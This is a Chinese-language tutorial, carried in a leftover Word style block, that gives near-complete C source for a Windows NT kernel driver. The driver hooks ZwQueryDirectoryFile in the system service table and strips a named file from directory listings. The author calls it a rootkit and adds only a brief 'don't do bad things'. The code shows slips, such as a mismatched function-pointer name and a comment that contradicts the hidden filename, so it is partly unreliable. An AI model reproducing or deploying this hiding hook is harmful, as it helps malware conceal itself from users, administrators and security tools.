<!-- /* Font Definitions */ @font-face {font-family:"MS 明朝"; panose-1:2 2 6 9 4 2 5 8 3 4; mso-font-alt:"MS Mincho"; mso-font-charset:128; mso-generic-font-family:roman; mso-font-pitch:fixed; mso-font-signature:-1610612033 1757936891 16 0 131231 0;} @font-face {font-family:SimSun; panose-1:2 1 6 0 3 1 1 1 1 1; mso-font-alt:宋体; mso-font-charset:134; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:3 135135232 16 0 262145 0;} @font-face {font-family:Century; panose-1:2 4 6 3 5 7 5 2 3 3; mso-font-alt:"Times New Roman"; mso-font-charset:0; mso-generic-font-family:roman; mso-font-format:other; mso-font-pitch:variable; mso-font-signature:3 0 0 0 1 0;} @font-face {font-family:"/@MS 明朝"; panose-1:2 2 6 9 4 2 5 8 3 4; mso-font-charset:128; mso-generic-font-family:roman; mso-font-pitch:fixed; mso-font-signature:-1610612033 1757936891 16 0 131231 0;} @font-face {font-family:"/@SimSun"; panose-1:2 1 6 0 3 1 1 1 1 1; mso-font-charset:134; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:3 135135232 16 0 262145 0;} /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal {mso-style-parent:""; margin:0mm; margin-bottom:.0001pt; text-align:justify; text-justify:inter-ideograph; mso-pagination:none; font-size:10.5pt; mso-bidi-font-size:12.0pt; font-family:Century; mso-fareast-font-family:"MS 明朝"; mso-bidi-font-family:"Times New Roman"; mso-font-kerning:1.0pt;} a:link, span.MsoHyperlink {color:blue; text-decoration:underline; text-underline:single;} a:visited, span.MsoHyperlinkFollowed {color:purple; text-decoration:underline; text-underline:single;} /* Page Definitions */ @page {mso-page-border-surround-header:no; mso-page-border-surround-footer:no;} @page Section1 {size:595.3pt 841.9pt; margin:99.25pt 30.0mm 30.0mm 30.0mm; mso-header-margin:42.55pt; mso-footer-margin:49.6pt; mso-paper-source:0; layout-grid:18.0pt;} div.Section1 {page:Section1;} -->
编 写 驱动拦 截 NT 的 API 实现隐 藏文件目 录
目前 NT 下有很多 种隐 藏文件和目 录 的方法,其中最 简单 的一 种 是 给 文件和文件 夹 加上系 统 属性和 隐 藏属性,操作系 统 就会不在 显 示了,而且 查 找也找不到了,但是 这种 方法一点都不 彻 底,没有可用性!下面我 们 来介 绍 用 NT 驱动 程序来 拦 截 NTAPI 来 实现彻 底 隐 藏文件和目 录 的目的。 NT 下有一个文件 NTDLL.DLL ,大部分 NTAPI 都是在 这 个 库 中封装的。其中 实现查 找文件和目 录 的 API 接口是 ZwQueryDirectoryFile ,所以我 们 只要 拦 截 这 个 API 的 话 ,文件和目 录 就可以 完全 隐 藏了!下面来一 步 不 实现 (准 备 工作:到 NTDDK 中找一个 WDM 驱动 程序模型,也就是最 简单 的 驱动 程序 了):
1. 定 义 FILE_INFORMATION_CLASS 的第 3 号 结 构: _FILE_BOTH_DIR_INFORMATION , 这 个 结 构是 ZwQueryDirectoryFile 必 须 参数。
typedef struct _FILE_BOTH_DIR_INFORMATION {
ULONG NextEntryOffset;
ULONG FileIndex;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
ULONG EaSize;
CCHAR ShortNameLength;
WCHAR ShortName[12];
WCHAR FileName[1];
} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;
2. 先申明 ZwQueryDirectoryFile ,然后定 义 ZwQueryDirectoryFile 的原型:
extern NTSYSAPI NTSTATUS NTAPI ZwQueryDirectoryFile(
IN HANDLE hFile,
IN HANDLE hEvent OPTIONAL,
IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
IN PVOID IoApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
OUT PVOID FileInformationBuffer,
IN ULONG FileInformationBufferLength,
IN FILE_INFORMATION_CLASS FileInfoClass,
IN BOOLEAN bReturnOnlyOneEntry,
IN PUNICODE_STRING PathMask OPTIONAL,
IN BOOLEAN bRestartQuery);
// 定 义 ZwQueryDirectoryFile 的原型
typedef NTSTATUS (*REALZWQUERYDIRECTORYFILE)(IN HANDLE hFile,
IN HANDLE hEvent OPTIONAL,
IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
IN PVOID IoApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
OUT PVOID FileInformationBuffer,
IN ULONG FileInformationBufferLength,
IN FILE_INFORMATION_CLASS FileInfoClass,
IN BOOLEAN bReturnOnlyOneEntry,
IN PUNICODE_STRING PathMask OPTIONAL,
IN BOOLEAN bRestartQuery);
// 定 义 一个原函数指 针
REALZWQUERYSYSTEMINFORMATION RealZwQuerySystemInformation;
3. 定 义 替 换 API 函数的原型:
NTSTATUS HookZwQueryDirectoryFile(
IN HANDLE hFile,
IN HANDLE hEvent OPTIONAL,
IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
IN PVOID IoApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
OUT PVOID FileInformationBuffer,
IN ULONG FileInformationBufferLength,
IN FILE_INFORMATION_CLASS FileInfoClass,
IN BOOLEAN bReturnOnlyOneEntry,
IN PUNICODE_STRING PathMask OPTIONAL,
IN BOOLEAN bRestartQuery);
4. 在 DriverEntry ( 驱动 入口)函数中加入如下申明:
// 保存真正的 ZwQueryDirectoryFile 函数地址
RealZwQueryDirectoryFile=(REALZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile));
// 把自定 义 的替 换 函数指 针 指向真正的 ZwQueryDirectoryFile 函数
(REALZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile))=HookZwQueryDirectoryFile;
5. 在 DriverUnload ( 驱动 卸 载 函数)函数中加入恢 复 代 码 :
// 恢 复 原来的函数指 针
(REALZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile))=RealZwQueryDirectoryFile;
6. 现 在准 备 工作做好了,函数指 针 都已 经设 置 转 向了,剩下的是 实现这 个我 们 自定 义 的替 换 函数 HookZwQueryDirectoryFile ,代 码 如下:
NTSTATUS HookZwQueryDirectoryFile(
IN HANDLE hFile,
IN HANDLE hEvent OPTIONAL,
IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
IN PVOID IoApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
OUT PVOID FileInformationBuffer,
IN ULONG FileInformationBufferLength,
IN FILE_INFORMATION_CLASS FileInfoClass,
IN BOOLEAN bReturnOnlyOneEntry,
IN PUNICODE_STRING PathMask OPTIONAL,
IN BOOLEAN bRestartQuery)
{
NTSTATUS rc;
ULONG CR0VALUE;
ANSI_STRING ansiFileName,ansiDirName,HideDirFile;
UNICODE_STRING uniFileName;
// 初始化要 过虑 的文件名 这 里是 debug.exe
RtlInitAnsiString(&HideDirFile,"DBGVIEW.EXE");
// 执 行真正的 ZwQueryDirectoryFile 函数
rc = ((REALZWQUERYDIRECTORYFILE)(RealZwQueryDirectoryFile))(
hFile,
hEvent,
IoApcRoutine,
IoApcContext,
pIoStatusBlock,
FileInformationBuffer,
FileInformationBufferLength,
FileInfoClass,
bReturnOnlyOneEntry,
PathMask,
bRestartQuery);
/* 如果 执 行成功(而且 FILE_INFORMATION_CLASS 的 值为 FileBothDirectoryInformation ,我 们 就 进 行 处 理, 过滤 */
if(NT_SUCCESS(rc)&& (FileInfoClass == FileBothDirectoryInformation))
{
PFILE_BOTH_DIR_INFORMATION pFileInfo;
PFILE_BOTH_DIR_INFORMATION pLastFileInfo;
BOOL bLastOne;
// 把 执 行 结 果 赋给 pFileInfo
pFileInfo = (PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer;
pLastFileInfo = NULL;
// 循 环检查
do
{
bLastOne = !( pFileInfo->NextEntryOffset );
RtlInitUnicodeString(&uniFileName,pFileInfo->FileName);
RtlUnicodeStringToAnsiString(&ansiFileName,&uniFileName,TRUE);
RtlUnicodeStringToAnsiString(&ansiDirName,&uniFileName,TRUE);
RtlUpperString(&ansiFileName,&ansiDirName);
// 打印 结 果,用 debugview 可以 查 看打印 结 果
DbgPrint("ansiFileName :%s/n",ansiFileName.Buffer);
DbgPrint("HideDirFile :%s/n",HideDirFile.Buffer);
// 开 始 进 行比 较 ,如果找到了就 隐 藏 这 个文件或者目 录
if( RtlCompareMemory(ansiFileName.Buffer,HideDirFile.Buffer,HideDirFile.Length ) == HideDirFile.Length)
{
DbgPrint("This is HideDirFile!/n");
if(bLastOne)
{
if(pFileInfo == (PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer )
{
rc = 0x80000006; // 隐 藏文件或者目 录 ;
}
else
{
pLastFileInfo->NextEntryOffset = 0;
}
break;
}
else // 指 针 往后移 动
{
int iPos = ((ULONG)pFileInfo) - (ULONG)FileInformationBuffer;
int iLeft = (DWORD)FileInformationBufferLength - iPos - pFileInfo->NextEntryOffset;
RtlCopyMemory( (PVOID)pFileInfo, (PVOID)( (char *)pFileInfo + pFileInfo->NextEntryOffset ), (DWORD)iLeft );
continue;
}
}
pLastFileInfo = pFileInfo;
pFileInfo = (PFILE_BOTH_DIR_INFORMATION)((char *)pFileInfo + pFileInfo->NextEntryOffset);
}while(!bLastOne);
RtlFreeAnsiString(&ansiDirName);
RtlFreeAnsiString(&ansiFileName);
}
return(rc);
}
本代 码 在 开发 机器( WINXP+SP1+XPDDK )上 测试 通 过 !
http://topic.csdn.net/t/20050623/17/4102372.html
http://www.pudn.com/downloads122/sourcecode/windows/vxd/detail520913.html
rootkit ,用来 隐 藏 进 程, 是从系 统 底 层彻 底 隐 藏
你 别 拿来做坏事 啊